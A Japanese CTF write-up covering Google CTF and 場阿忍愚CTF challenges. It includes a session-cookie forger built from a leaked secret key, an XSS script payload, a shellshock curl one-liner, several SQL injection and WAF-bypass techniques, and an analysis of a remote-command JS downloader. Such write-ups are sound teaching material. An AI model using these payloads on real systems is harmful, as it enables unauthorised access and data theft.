とすると Cookie が送られてきた。また robots.txt のリンクを試すか、と思いながらとりあえずチームのチャットにアクセスログを張ったところ、瞬時につながっているページを見つけてくれた。

なおそのあと確認したところ、document[“location”] を使わなくとも

<script src="https:///2634521196/waiha"></script>

でも問題なかった。

Purple Wombats

繋ぐとログイン画面に行けるが、 “Undergoing emergency maintenance, sorry for any inconvenience caused” と言われる。

ここで、ソースコードに <!– If you’re interested in our source, please visit our github.com/mannequin-moments/ –> と書いてあるのに気づいた。(ほかの問題にも貼ってあって、それを見たときに関係ないと思っていたが、その時に見た画像がこの問題のサーバのトップページに貼ってあった画像と同じなのを思い出した)。

ソースコードを見るとセッション変数をCookieに暗号化だか電子署名だかなんだかして保存するタイプで、 webapp2 というライブラリを使っているようで、その暗号鍵まで GitHub に貼ってあったので、見ながら適当にすぐにログインできるコードを再現。

import jinja2
import json
import logging

import webapp2
from webapp2_extras import sessions
from paste import httpserver

config = {
        'webapp2_extras.sessions': {
            'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a',
            'name': 'mannequin-moments',
        }
}
class RequestHandler(webapp2.RequestHandler):
    """Base request handler for Mannequin Moments."""
    jinja_env = jinja2.Environment(
            loader=jinja2.FileSystemLoader('templates')
            )

    def dispatch(self):
        self._session_store = sessions.get_store(request=self.request)

        try:
            super(RequestHandler, self).dispatch()
        finally:
            self._session_store.save_sessions(self.response)

    @webapp2.cached_property
    def session(self):
        return self._session_store.get_session()

    def render(self, tpl_name, **args):
        tmpl = self.jinja_env.get_template(tpl_name)
        args['logged_in'] = True if self.session.get('user') else False
        self.response.out.write(tmpl.render(**args))

class EasyHandler(RequestHandler):
    def get(self):
            self.session['user']='admin'
            return webapp2.Response('aaa')

app = webapp2.WSGIApplication([
    webapp2.Route('/', EasyHandler)
], config=config)

httpserver.serve(app,host='127.0.0.1',port='8080')

起動して繋いで降ってきたクッキーをブラウザに貼りつけて、ソースコードを見る限り /flags にフラグがありそうだったので繋いでみるとフラグが出てきた。

Opabina Regalis – Token Fetch

HTTP のプロトコルを独自プロトコルに書き換えたサーバに対して、接続してトークンを取得する問題。独自プロトコルについても記述があり、 Protocol Buffer をベースとしている。

もともと張られていたスキーマでの Protocol Buffer 自体はチームの他のメンバーが書いていたが、うまくいかないと言っていたのでそれをコピペして手元でいろいろ試してみたところ、先頭4バイトに明らかに32ビットの何かの整数が張られていることに気付く。そこで、

> The network protocol uses a 32-bit little endian integer representing the length of the marshalled protocol buffer, followed by the marshalled protocol buffer.

という記述があったことを思い出して、先頭に32ビットでペイロードの長さを書くようにするとサーバからレスポンスが返ってくるようになった。適当なURLだと /token に繋いでみたら、みたいなメッセージが返ってきたので、 /token に繋ぐとメッセージが返ってくる。もちろん Protocol Buffer で返ってくるが、こちらはパースまでしなくとも strings してコピペすれば問題なかった。

[nhirokinet@ubuntu ~/.../opabina 21:43:26]$ sh -c 'sleep 1; cat send.bin' | openssl s_client -quiet -connect ssl-added-and-removed-here.ctfcompetition.com:1876  | od -c
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify error:num=20:unable to get local issuer certificate
verify return:0
0000000   2  \0  \0  \0  \n   0  \b  \0 022  \n   /   n   o   t   -   t
0000020   o   k   e   n 032      \n  \n   U   s   e   r   -   A   g   e
0000040   n   t 022 022   o   p   a   b   i   n   a   -   r   e   g   a
0000060   l   i   s   .   g   o   V  \0  \0  \0 022   T  \b 310 001 022
0000100 034  \n 006   S   e   r   v   e   r 022 022   o   p   a   b   i
0000120   n   a   -   r   e   g   a   l   i   s   .   g   o 032   1   C
0000140   T   F   {   W   h   y   D   i   d   T   h   e   T   o   m   a
0000160   t   o   B   l   u   s   h   .   .   .   I   t   S   a   w   T
0000200   h   e   S   a   l   a   d   D   r   e   s   s   i   n   g   }
^C
[nhirokinet@ubuntu ~/.../opabina 21:43:33]$
package main; 
import java.io.FileInputStream;
import java.io.FileOutputStream;

import main.ExchangeOuterClass;

public class Main {
	public static void main(String[] args) throws Exception {
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Accept-Encoding").setValue("*").build();
		ExchangeOuterClass.Exchange.Request req = ExchangeOuterClass.Exchange.Request.newBuilder()
				.setVer(ExchangeOuterClass.Exchange.VerbType.GET)
				.setUri("/token")
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setRequest(req)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
/*
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Location").setValue("/token").build();
		ExchangeOuterClass.Exchange.Reply res = ExchangeOuterClass.Exchange.Reply.newBuilder()
				.setStatus(302)
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setReply(res)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
*/

		buffer=new byte[50];
		
		FileInputStream fileInStm = new FileInputStream("./recv.bin");
		fileInStm.read(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
	}
}

(追記)チームのメンバーの write up へのリンクを貼っておきます。

Google CTF writeup – yuta1024’s diary

場阿忍愚CTF writeup

場阿忍愚CTFに参加していました。個人でまともにCTFに参加したのは初めてなので、思い出して記憶を元に再現しながら write up を書いていきます。

練習

練習 – image level 1

4枚画像が渡されるので、それらを縦につなげた時に見える文字を入力する。並べたりしなくても心の目で見ればなんとかなる。

芸術

ワットイズディス?

画像を見ると甲骨文字で大和世幾由利手伊(由、伊はひらがなでいう小文字の配置)(手とした文字は呈のようにも見えた)と書いてあり、大和セキュリティを当て字にしていると思われた。また、ヒントには大和セキュリティ勉強会のステッカーである旨が記されている。

さて、ここからどうすれば?ということで、Wikipedia などを見ながら「甲骨文字」「金文」などそれらしいキーワードを入れるも失敗。「当て字」などとも入力するが失敗。「大和世幾由利手伊」「大和世幾由利呈伊」などでもないようだった。しばらく放置していたが、もしやと思って全部ひらがなで「やまとせきゅりてぃ」と入れると成功。

cole nanee?

画像が与えられる(画像検索すると @yamatosecurity のTwitterアイコンであることがわかる)。「印」とかではないので頑張って読んで試行錯誤する。忍者というキーワードが他の問題でも頻出するあたりから「忍」を入れると成功。

Lines and Boxes

背景に一定の箱と線が書かれ、手前に漢字が二文字書かれた画像が渡される。漢字は楷書体のように見えるが日本語のものではないようで、また、漢字の部品というよりは「d」のように見える部分もある。「日本人には読みづらい」というヒントもあるのでアルファベットを描き起こした可能性もあるが、読めないので画像検索。そのままでは背景に邪魔されて出ないのでペイントでざっくり背景を除去すると中国の Xu Bing(徐冰)氏の作品であり、アルファベットではあることがわかる。中国由来の文字を中国の方が記したものなので、大和魂と主張するのはあまりに中国に失礼そう。つまり、恐らく大和魂という主張と関係ない。アルファベットであるという類推に自信を得て右の文字を頑張って読むとplayだったので、画像検索にキーワード「play」を追加して解説画像を入手。「word play」だったことがわかる。

二進術

壱萬回

elfバイナリが与えられ、実行すると

3 * 8 = 

のような形式で加減乗除及び割り算の余りを求める問題を出してきて、手で答えると次の問題を出してくる模様。なので、基本的にはこの形式に沿って回答すればよいが、改行しないで出してくるのでバッファを無効化する必要がある。プログラム側ではどうにもならなかったので LD_PRELOADで他プロセスのバッファリング無効化 – murankの日記 の手段を取った。C言語で書いていたが、途中で双方向にパイプするのは意外と面倒なことに気づき、入力を適宜流すために nc でうまくパイプしてごまかしてフラグを得た。

Unity遊戯如何様

Mac 用のアプリが渡され、実行すると3Dのゲームが始まる。3つコインをとるとフラグが出るようだが、3つ目のコインがとんでもないところにおいてありとれない。

手がかりとして記されている通り、 Assembly-CSharp.dll を探し、.Net逆コンパイラを探し(ILSpyを仕様)、GUI Manager以下のコードを読むと、”its_3D_Game_Tutorial”がフラグのように見えるが入力しても失敗。前後のコードを読むもこれを上書きするような処理はなかった。ふとこれが文字の通り表示されているかという可能性に思い至り、中でもフォントの可能性を考慮した時、アルファベットのフォントではデザイン上の理由で小文字も大文字と同様に表示するものがあると想起。確かに他の文字列はソースコード上で小文字なのに大文字で表示されていたので大文字で”ITS_3D_GAME_TUTORIAL”と入力して成功。

解読術

image level 5

zipを解凍するとアルファベットが書かれた画像がいくつかある。Windows のエクスプローラだと撮影日時が記されているので、その順に入力すると正解。(実際には分以下の精度が必要になって Ubuntu で unzip した結果を見たような気もする)

Ninjya Crypto

忍者なら読める暗号とする画像がある。忍者の暗号についてしらべると忍者文字がそれらしいことが判り、「やまといえば」と読める。やまといえば、ということで「かわ」がフラグ。

攻撃術

craSH

ソースコードを読むと、大まかにはメモリの容量は決め打ちされていないが、ファイルサイズに相当するメモリを書き換える際にロックを一切していない。そのため、catの引数にとられたファイルが出力先になっている場合は、現在のサイズを元に出力先のサイズを決定後、新しいサイズを元にメモリへの書き込みを行う。

cat a a a > a

などとすると確保されたメモリを超過して書き込む。craSH 2 はなかなか大変な問題で結局解けなかったが、 craSH についてはメモリを破壊してプログラムをクラッシュさせるだけでよいので適当に上記コマンドを打つか、それでもだめならそのあと作ったファイルを幾つか表示させていればフラグが出てくる。

解析術

Doubtful Files

自己解凍形式のファイルが渡され、解凍してもそれ以上どうしようもないファイル群が登場する。Linux で strings などを試みたところとりあえず RAR の自己解凍形式であることがわかり、

unrar lta 151-DoubtfulFiles.exe

してみたところ、

  Type: NTFS alternate data stream
Target: :Zone.Identifier

という指定がされたファイルがあることに気づく。このキーワードで調べたところ Zone Identifier の存在を知り、これのファイルのうちファイルを大きめのものを見ると BASE64 エンコードされたらしい文字列が複数あり、結合してデコードするとフラグが出てきた。

情報漏洩

USB のパケットをキャプチャした様子があり、途中に大きなパケットがある。その直前のパケットに「PNG」「IHDR」の文字が見えるので、このあたりで検索すると、PNGファイルは「0x89 P N G」の4バイトで始まることがわかった。そのため、この一連のパケットから「0x89 P N G」で始まる部分を見た。既に着目した2パケットを結合してできた png ファイルを開くと、完全ではないものの画像が表示され、フラグはすべて表示されていた。

Speech by google translate

渡されたwavファイルではフラグのようなものを喋っているが、最後の文字が途中で途切れている。がんばって聞いて入力しても失敗。

ファイルサイズに対して少し再生時間が短いので、 RIFF の仕様を調べて本来より短くデータサイズを記したヘッダを修正すると最後まで聞くことができ、突破。

Cool Gadget

画像があるが、よくわからない。 strings で見てみると、 removeme={} で囲まれた文字列が出てくる。中身は BASE64 デコードされており、解凍すると Salted__ で始まるバイナリが登場する。これで調べたところ、opensslを用い、PBE(パスワードベース暗号化)で暗号化されているようだ。また、aes128-cbcの文字列が画像のメタデータとして埋め込まれていた。

そうなると暗号化パスワードがわからないが、removeme={} の部分を丸ごと削除した画像を見ると画像に Cryptex で文字列を示している様子が示された。これがパスワードとかんがえられる。これで暗号化解除してフラグを得た。

$ openssl enc -base64 -d -aes-128-cbc -in enc.txt -k EAHIV
flag={Cryptex is cool!}

enc.txtはremoveme={}の括弧の中身である。

電網術

ftp is not secure.

ftp で FLAG.tar をやり取りしているので、 Wireshark のダンプ機能で取り出して解凍。

ベーシック

BASIC 認証をしているパケットが渡されている。

user:pass が http://burning.nsc.gr.jp

となっている。nsc.gr.jp について軽く調べると場阿忍愚CTFと無関係ではないので、まず http://burning.nsc.gr.jp/ に接続し、ユーザー名が「http」パスワードが「//burning.nsc.gr.jp」で BASIC 認証を突破して解決。

六十秒

NTPで4回時刻を問い合わせたあとpingを一回打ったものをキャプチャしたものが渡された。いずれもパケットの行き先は NICT の NTP サーバ。

問題文を見ると、「昼九つ半の暗号を用いた」とある。昼九つ半は江戸時代に日本で使われていた不定時法で、季節変動があるが大まかな雰囲気としては現代で言う十三時頃である。なので多少無理があるが、じゅうさんじ、あんごう、といえば ROT13 変換、ということで、どこかで ROT13 が登場すると考えられる。(なお江戸時代でも定時法は一部で使われており、調べてみたところその場合は十二支を使うようだ。こちらは地方視太陽時の二十四時間制と一対一対応する。)

pingにはペイロードがあり、BASE64のようだが解読できず、ROT13変換しても解読できない。NTP のパケットサイズが二通りあるのでよくみると、リクエストの内容をそのままレスポンスに返す部分でROT13変換するとURLになりそうな文字列を送っており、変換すると「amazon.co.jp」「k.kyotou.ac.jp」「k.rulers」という内容が読み取れる。とはいってもわからないが、この問題には「サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。」とある。Amazon で京都大学の素数ものさしの販売ページに行くと、そのURLに含まれる販売者IDがpingのペイロードと一致することがわかる。pingのペイロードからそれを取り除いて BASE64 変換することでフラグを得た。

Japanese kids are knowing.

IP アドレスとともに、「ポートスキャンは苦しゅうない」との記述があるので、ポートスキャンを実施。開いていたポートのうち片方は ssh だったが、もう片方は telnet でつなぐと低速で何かを送ってきた。よく見るとかえるの歌で、メッセージの末尾に自身は動物でありその英語での名前の md5 変換がフラグである旨が記されているので、 “frog” を md5 変換したものがフラグとした。

Malicious Code

楽しい問題。一般的なユーザーが攻撃されたものを想定したパケットキャプチャが出題され、被害者のユーザーの動きを真面目に追っていけば途中でフラグが見つかる。パケットキャプチャのファイル単体でも読み物のような楽しさがあった。

まず、パケットをキャプチャすると、最初にウェブサーバに接続し、 iframe に埋め込まれた plink ファイルを読み込んでいる。その通信が完了したあとは謎のサーバと謎の通信をしているが、ストリームの先頭部分で検索しても TLS であることがわかるのみ、その暗号化も Diffie-Hellman 鍵共有がなされているため、秘密鍵を入手することができたとしてもどうしようもないことがわかる。

何はともあれ plink のファイルを(文脈的にマルウェアなので、実行せずに)覗いたところ、何かを x.js として書きだしたあとその x.js を実行していることに気づく。(当初は Windows の WHS の対応言語に js があることに気づかず、古い IE で Active X を実行されたことを疑っていたが、Windows に js ファイルを作成した時にユーザーが開く操作をすれば js ファイルは普通に実行できることに気づいた。)外側の eval を外すと、まさに怪しい通信の通信先(httpsであることが判明)にリクエストを投げ、レスポンスの内容をそのままコマンドとして実行するコードが登場。宛先をLAN内のサーバに書き換えて実行したところ、自身のネットワークインターフェイスのIPアドレスをPOSTで送出していること(とその形式)が判明。おおまかに攻撃の雰囲気を掴みとった感じを得つつ、それ以上のパケットもないと考えられた。なにはともあれとりあえず被害者が実施されたコマンドを見ようと、 IP アドレスをキャプチャファイルに合わせたリクエストを投げると、コマンドの代わりにフラグが降ってきた。

諜報術

KDL

1998年にKDLがどういう人材を募集していたかということで、InternetArchive で当時のKDLのウェブページを表示し、それらしい文字列をコピペ。

Mr.Nipps

山寺純社長が日本時間で2015年8月13日5:30にどこにいらっしゃったか、という旨を問われている。フラグはGPS由来の緯度と経度が必要。

なぜか社長の Twitter アカウントを見つけるのに苦労したが、@junyamaderaであることがわかる。そうとなればこの前後のツイートを見たいが、量が多くて遡るのが大変なので twilog で閲覧すると、無事このアカウントは twilog に登録されていたようで、該当するツイートを見つける。


とりあえず店の名前が書かれているのでウェブ検索し、登場した Google Maps の位置情報を打ち込んでもはずれ。ふとツイートに位置情報が埋め込まれていることに気づいたが、表示は地名のみで、Webでは座標は降ってこないようだった。APIで当該ツイートを取得してそれらしいものを入れると正解だった。

Akiko-chan

顔写真が与えられ、それがどこの wordpress サイトにあったかを問われる問題(フラグは *.wordpress.com の形式)。画像検索するとすぐに wordpress.com 以下のものが見つかるので、そのまま入力して送信。

タナカハック

「taなんとか123」のユーザー名を探す問題。答えは www.yamatosecurity.com に公開されているファイルにあるとされている。

www.yamatosecurity.com のドメイン内はいくら探しても www.tanakazakku.com ドメインのウェブページをフレームで表示している HTML ファイルしか返してこず、このサーバーに当該ファイルがHTTPでおいてあるとは考え難かった。また、 HTTP とは指定されていないので HTTPS, ftp, smb などに常識的なポートでの接続を試みたがうまくいかなかった。

また、サンタ殿からのヒントには「wgetとgrepとバイナリーエディターさえあればどんな問題でも解けるでござる。」と書かれており、 http で公開されていると判断するのが妥当だった。

こうなれば少し無理はあるが www.tanakazakku.com ドメインも「www.yamatosecurity.com から全画面でのフレームで埋め込まれているから、事実上 www.yamatosecurity.com で公開されている」と解釈して、このドメインも含めて探索した。wget で –recursive オプションを指定し、深さが深くなりすぎないようにしてリンク先のファイルを取得。あとは123を含むファイルを探して、前後のバイナリを見て当該する文字を入力すれば成功。

$ wget --recursive --html-extension --convert-links --page-requisites --no-parent --domains www.yamatosecurity.com,www.tanakazakku.com http://www.tanakazakku.com/yamatosecurity
(snip.)
$ grep 123 . -R
Binary file ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf matches
$ strings ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf |grep 123
(snip.)
<</Author(tanakazakkarini123)/CreationDate(D:20130422102054Z)/Creator(Microsoft PowerPoint)/Keywords()/ModDate(D:20150918163456+09'00')/Producer(Mac OS X 10.6.8 Quartz PDFContext)>>

タイムトラベル

平成25年9月21日に50.115.13.104が紐付いていたドメイン名を問われている。このIPアドレスとともに色々なキーワードを試して過去のドメイン名が記されたページを見つけた記憶があるが、どのようなキーワードだったか思い出せず、また今思いつくものをいくつか試してみても見当たらない。ある程度運にまかせつつ色々試すと解ける、くらいの問題だった。

記述術

search_duplicate_character_string

ふたつの異なる部分文字列で完全に一致するものを探して入力せよとのこと。ずらす文字数を一文字から(長さ-1)までの場合それぞれで先頭から見ていって、最も長いもののみを保持して出力すればよい。200,000バイトあるが、競技プログラミングと違って二秒で終わらせる必要はないのでO(N2)で充分。

JavaScript Puzzle

穴埋めパズルが登場する。開発者コンソールに左から入力してオブジェクトの要素などが存在するか調べたり、文字コードなどは雰囲気で読んだりして埋める。最終的に以下のようになる。場阿忍愚CTF JavaScript Puzzle

Count Number Of Flag’s Substring!

ウェブフォームから文字列を送ると、それがフラグの部分文字列として登場する回数を教えてくれる。/flag={[a-z_{}]+}/の形式であることはわかっている。

flag={で始まることがわかり、それを入力すると1になるので、あとは一文字ずつ[a-z_{}]の文字それぞれを試しながら伸ばしていき、文字が増えなくなったら終了。フラグ一文字あたり29クエリ程度(と前後の処理及び試行錯誤)が必要だが、それより短縮できるとも思えないのでそのまま実施。

解凍?

184-flag.txt をダウンロードし、 file コマンドで見ると bzip2 で圧縮されていることがわかる。ならばと解凍するとまた bzip2 で圧縮されており、また bzip2 で解凍すると今度は ZIP が出てくる、という具合に、マトリョーシカのように圧縮を繰り返されている。何度か手でやると、 ZIP, tar, bzip2, gzip の四種類が登場する。

手でやっていられないほどの段数を経ていると想定されるので、ある程度やって雰囲気を掴んだら自動化して最終的な flag.txt を抽出。

#!/bin/sh

while true
do
	ft=`file flag.txt`
	echo "$ft"

	if echo "$ft" | grep Zip
	then
		unzip -o flag.txt
		continue
	fi

	if echo "$ft" | grep "POSIX tar"
	then
		tar -xvf flag.txt
		continue
	fi

	if echo "$ft" | grep "bzip2 compressed"
	then
		mv flag.txt flag.txt.bz2
		bunzip2 flag.txt.bz2
		continue
	fi

	if echo "$ft" | grep "gzip"
	then
		mv flag.txt flag.txt.gz
		gzip -d flag.txt.gz
		continue
	fi

	break
done

Make sorted Amida kuji!

最初に問題の概要を把握するのに苦労するが、最初の並びが与えられるので、それを昇順に並び替えるあみだくじを指示された数重複なく与えるとフラグがもらえる模様。JSファイルを見るとあみだの線をどの場所に何度置いたかでフラグを生成しており、与えられた回数作るというよりは全種類作る必要があって作者が数を明示してくれているという雰囲気。

最初は 3 1 2 0 を並び替える問題が登場し、また、一つの正解が最初から入力されている。手で線をずらしながら適当に入力すると次のステージに進めた。

第二ステージ(最終)では、 9 8 6 5 7 3 2 1 0 4 をソートするあみだくじを62個(先ほどの考察の通りすべて)作る必要がある。正解も明示されていない。

色々紙で試行錯誤して一つ発見し、そこから線を上下にずらしたりしてみても20通りくらいでしかない。また、全探索は現実的でなさそうだった。

一旦考えなおし、現状で左端にある9,8 を右端に送り込むこと、縦の線が10本程度しかないため、この程度は必要になる(開始位置が少し違うものもあるが、制約条件としての強さは同じ)。

端から端まで二要素を届けるあみだくじ

また、あみだくじとして有効なすべてのパターンは、下の図かその上下反転のいずれかの部分あみだくじ(この状態を仮に「基本あみだくじ」とする。また、部分あみだくじとは元のあみだくじのうち横線を0本以上取り除いたものと定義する。)を元に、「線を上下にずらす」「開いている場所に上下に連続した二本の線を入れる」の操作のみで作ることができることがわかる。これよりも高密度にすることはできず、一本でも上下にずらした状態は単に使用可能な線が減るだけだからである。

基本あみだくじの基本

この二つの制約を整理する、まず基本あみだくじを全探索できることに気づく。基本あみだくじに使用可能な線45本のうち17本は必須のため、2^29程度の探索空間を二つ探索すればよい。

これで、8通りの基本あみだくじが見つかったので、これらを一旦印刷(比喩表現ではなく、プリンタを用いて紙に出力すること)する。

これらのほとんどは数本上下にずらしたり開いた空間に二本の連続した線を入れるだけだが、多くの模様を持つものが2通り見つかる。同時に、この二つはそれぞれ、高々29本の線に自由度があるだけであることに気づいた。そのため、これらについても全探索可能である(それぞれ20通りあった)。

これで62通り発見した。ソースコードのフラグを生成する部分には「simulate this function!!!」とあるが、印刷して手書きで発見した情報も含めて全部コードに起こすのもこの関数のシミュレーション結果を検証するのも面倒なので、全探索で発見した20通り×2をコピペできるようにし、あとは手打ちでブラウザで打ち込んでフラグを得た。

超文書転送術

GIFアニメ生成サイト

接続すると、画像をアップロードすることでGIFアニメを生成するウェブサイトが登場する。色々なURLパターンを試しているうちに、新規画像の生成時に渡されるURLのパス「/movies/newgif/:id」のID部分を1にするとID=1である最初のGIFアニメが閲覧でき、しかもフラグを言いたげな内容が表示されている。

しばらく待つと一瞬だけフラグが表示される。自宅で解いていればGIFアニメを処理する気の利いたツールを探すところだが、電車の中でタブレットで解いていたので、Windows の Snipping Tool でタイミングよくスクリーンショットをよることでフラグの獲得に成功。

Network Tools

ネットワーク系の色々なコマンドをオプションを指定して叩けるサイトが出てくる。コマンドインジェクションかと思うが、オプションががっちり制限されていてインジェクションはおろか普通にネットワーク系のコマンドで遊ぶことすらできない。コメントに利用可能なオプション一覧があるが、ヌルインジェクションなども含め任意のコマンドを動かすことは難しいようだ。

画面の下部に bash のバージョンが表示されており、もしやと思って調べてみるとまさに最近話題になった shellshock の脆弱性を抱えたバージョンだった。

試しに

$ curl -H 'User-Agent: () { :;}; ls ' http://210.146.64.37:60888/exec -F 'cmd=ifconfig' -F 'option=' | less

などとしてみると、lsが見つからない旨が表示される。lsを /bin/ls にすると flag.txt が見つかるので、/bin/cat flag.txt してフラグを得た。

箱庭XSS

実行ファイルが渡され、ウェブのフォームが表示されており、入力すると下に入力したものが大文字に変換されて表示される。試しに<b>a</b>などと入力してみると、まさに太字になった。

なので alert を入れた scriptタグを入れてみるが、動かない。指定の仕方がおかしかったか、ブラウザのバージョンなどもあるのか、などと試行錯誤の末、ローカルに alert するだけの js ファイルを置き、<script type=”text/javascript” src=”C:\Users\(中略)\hoge.js” /> といったことをすると、alert の代わりにフラグが表示された。

YamaToDo

ユーザが指定したエンコーディングで ToDo のメモが保存できるウェブサイト「YamaToDo」から、ユーザー「yamato」のメモを盗み出すというもの。

ソースコードを見ると、PHP の MySQL 呼び出しからユーザーの指定エンコーディングで直接 SET NAMES しており、かつ mysqli_real_escape_string を使っている。よく言われるしてはいけないパターンであることがわかる。

また、文字コード指定は sjis だけ弾いており、弾くエラーメッセージは’sjis? so sweeeeeeeeeet’であった。その時は単に英語としての意味が解らないとしていたが、後日気になって英語で sweet という語をインターネットの辞書(例: sweet – definition of sweet in English from the Oxford dictionary)で引くと、技術水準に言及する場合では円滑にことを運ぶことなどを意味するようであるため、「sjis?やるなああああああ(阻止)」という雰囲気であり、近いところまで来ていると判断できるともいえる。

手元の MySQL で文字コードの一覧を出力すると cp932 があり、こちらは使えることがわかる。そのため、その状態で「ソ’」などとすると’をエスケープする\がソの2バイト目で打ち消され、好きな文字をSQL文の続きとして入れられる。

複文は指定できず、また不正ログインについてもユーザ名及びパスワードについての妥当性検査が厳しいためできないが、INSERT のサブクエリとしてSELECTを入れて他人のメモを自分のメモにINSERTすることができた。あとはそれに従って解けばよかったが、エラーメッセージが表示されず、「同じテーブルを二回参照するときはテーブル名を指定しないとたいてい動かない」ことに気づかずはまっていた。手元で実行してようやく気づいてフラグらしき文字列を入手、ブラウザのエンコーディングを修正してフラグを得た。

Yamatoo

なかなか楽しかった問題。

SQLite で構築された検索サイトからフラグを盗み出す問題。DBのスキーマは別途渡されており、 flag というテーブルに最大60文字の flag というカラムがあることが判っている。

ソースコード中に

        if (mb_strlen($keyword) > 2) {
            $words = implode(' ', ngram($keyword));
            $where = "exists (select 1 from `site_fts` where `site`.rowid = `site_fts`.rowid and `words` match '{$words}') or `title` like '%{$keyword}%'";
        } else {
            $where = "`title` like '%{$keyword}%'";
        }

        $result = $pdo->query("select * from `site` where {$where}");

とあり、エスケープもしていないので注入箇所をみつけることそのものは容易だった。しかし、いくつかの関門がある。

まず、第一の関門は先ほど引用したコード中で呼び出されている ngram という関門の突破。以下のように定義されている。

    function ngram($text, $n = 2)
    {
		$return = array();
		$n = (int)$n;

        foreach (array_filter(explode(' ', trim($text))) as $word) {
			$length = mb_strlen($word) - $n;
            if ($length > 0) {
			    for ($i = 0; $i <= $length; $i++) {
			    	$return[] = mb_substr($word, $i, $n);
                }
            } else {
                $return[] = $word;
            }
        }

		return $return;

(必要に応じて字下げがずれているのを修正すると)流し込んだ文字列はここでズタズタにされてしまうことが判る。前半部分にあるためコメントアウトによる無効化もできない。そのため、ここを突破する方法を暫く考えるが、「”’」(アポストロフィ三つ)を流し込むと、ズタズタにされる方では「” ”」となり、エスケープされたアポストロフィー二つとなってそれ以後も文字列とみなされるが、後半部では「”’」となり、エスケープされたアポストロフィーのあとのアポストロフィーでクオート部分が終了して外に出ることができる。(なお、最初、「\\’」を試してうまくいかず、SQLiteのドキュメントを見てSQLiteでは「”」とエスケープすることを知った。)

第二の関門は、彼らが導入したとしているWAFだった。

        if (preg_match('/like|glob|nullif|case|union|sleep|substr|instr|soundex|load/i', $keyword) === 1) {
            exit('WAF~><');
        }

わふ~><

UNION しようとしてもわふーされてしまう。SQLite のドキュメントのSQLite Query Language: SELECTを見ても、抜け道は思いつかない。一応、WHERE句で true false がわかれば 1 bit の情報を密輸できるので、これを繰り返すしかない。先ほどの「Count Number Of Flag’s Substring!」と同様の作戦が使える。

ただし、substrやlikeを使って部分文字列を検索しようとするとわふーされてしまうという第三の関門にあたった。とりあえずlengthは使えたので文字数を調べてみると、フラグは59文字あるようだった。

SQLiteのドキュメントの文字列処理関数一覧を漁っていると、replace がまだわふーされていないことに気づく。length(replace((SELECT flag FROM flag), “flag”, “”)) といったことをすると55文字になることに気づく。これでようやく「Count Number Of Flag’s Substring!」と同様の作戦でフラグを得た。

Yamatonote

YAMLでノートをアップデートできるメモサイト「Yamatonote」からメモを奪う問題。

ソースコードを見ると、とりあえずデータベースへのアクセスのクラスにプレイスホルダらしき概念が導入されているのに、なぜか手で処理していることに気づく。とても怪しい。とはいえ全体を見ている最中だったので続けて他のコードを見るが、YAMLの処理はSQLに流し込まれるだけであり、SQLへのエスケープが適切になされればとりあえずSQLから何かが漏洩するようなものはないと思われた。

そのため、データベース処理の関数、中でもエスケープ周りに注目すると、

        foreach ($param as $key => $value) {
            $value = sprintf("'%s'", mysqli_real_escape_string($this->link, $value));
            $sql = str_replace($key, $value, $sql);
        }

とあった。例えば、 {:key1 => ‘:key2’, ‘:key2’ => ‘ほげ’} というものが入力され、 :key1 が先に処理されれば、例えば

初期値: SELECT * FROM user WHERE id = :key1 AND password = :key2
一周目: SELECT * FROM user WHERE id = ':key2' AND password = :key2
二周目: SELECT * FROM user WHERE id = ''ほげ'' AND password = 'ほげ'

となり、クオートからの脱出まで完了してあとは流しこむだけ状態になっていることがわかる。実際に使うのは INSERT 文なので Yamatodo と類似の戦略が使えるが、Yamatodo と違ってエラーメッセージが表示されるので、むしろ Yamatodo より難易度は低いと感じた。PHPの連想配列でどの順でキーが登場するか調べつつ、新規メモを生成する部分に流し込んで自分のメモに呼び出したいメモを登場させてフラグを得た。

箱庭XSS 2

箱庭XSSのコードをそのまま流し込むとフラグが登場。違いがわからないまま完了。

兵法術

まさかの詰将棋問題。CTFっぽくないし、脳内で探索するとしか言いようがないので省略。電車の中で解いて時間を潰しつつCTFっぽくない問題を潰そうと思っていたら乗り過ごした。

所感など

CTFにまともに個人参加するのは初でしたし、全体の戦果はそれなりに健闘できたと考えています。残った問題はいずれもある程度の時間取り組んだ上で、芸術以外は write up を読んで勉強しようと思える問題でした。また、現に他の参加者の方の write up を読み、例えば Ninja no Aikotoba については折角怪しいと思った strcmp の返り値の処理についての考察が甘すぎたために答えに辿りつけなかった(そして恐らく然るべき考察には自分では辿りつけなかった)ことが明らかになりました。一方で、得点を見れば10位であり、周囲と比較しても一応まともに戦えた順位であると言えると思います。

CTFと云うものに手を付けてからの経験はまだまだ浅いので、今後この方面も楽しんでいきたい、と感じました。